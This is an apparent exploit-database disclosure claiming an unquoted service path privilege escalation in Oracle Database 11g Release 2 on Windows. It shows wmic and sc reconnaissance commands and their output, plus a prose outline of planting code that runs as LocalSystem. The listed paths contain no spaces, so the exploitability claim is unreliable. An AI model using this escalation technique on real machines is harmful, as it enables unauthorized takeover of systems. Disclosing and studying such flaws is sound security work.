Oracle Database 11g Release 2 – ‘OracleDBConsoleorcl’ Unquoted Service Path
# Exploit Title: Oracle Database 11g Release 2 - 'OracleDBConsoleorcl' Unquoted Service Path # Discovery by: Nguyen Khang - SunCSR # Discovery Date: 2020-05-03 # Vendor Homepage: https://www.oracle.com/ # Software Link: https://www.oracle.com/database/technologies/112010-win64soft.html # Tested Version: 11g release 2 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 10.0.18363 N/A Build 18363 # Step to discover Unquoted Service Path: C:\Users\cm0s>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """ OracleDBConsoleorcl OracleDBConsoleorcl C:\Oracle\product\11.2.0\dbhome_1\bin\nmesrvc.exe Auto OracleOraDb11g_home1TNSListener OracleOraDb11g_home1TNSListener C:\Oracle\product\11.2.0\dbhome_1\BIN\TNSLSNR Auto OracleServiceORCL OracleServiceORCL c:\oracle\product\11.2.0\dbhome_1\bin\ORACLE.EXE ORCL Auto C:\Users\cm0s>sc qc OracleDBConsoleorcl [SC] QueryServiceConfig SUCCESS SERVICE_NAME: OracleDBConsoleorcl TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Oracle\product\11.2.0\dbhome_1\bin\nmesrvc.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : OracleDBConsoleorcl DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\cm0s>sc qc OracleOraDb11g_home1TNSListener [SC] QueryServiceConfig SUCCESS SERVICE_NAME: OracleOraDb11g_home1TNSListener TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Oracle\product\11.2.0\dbhome_1\BIN\TNSLSNR LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : OracleOraDb11g_home1TNSListener DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\cm0s>sc qc OracleServiceORCL [SC] QueryServiceConfig SUCCESS SERVICE_NAME: OracleServiceORCL TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : c:\oracle\product\11.2.0\dbhome_1\bin\ORACLE.EXE ORCL LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : OracleServiceORCL DEPENDENCIES : SERVICE_START_NAME : LocalSystem # Exploit: # A successful attempt would require the local user to be able to insert # their code in the system root path # undetected by the OS or other security applications where it could # potentially be executed during # application startup or reboot. If successful, the local user's code would # execute with the elevated # privileges of the application. |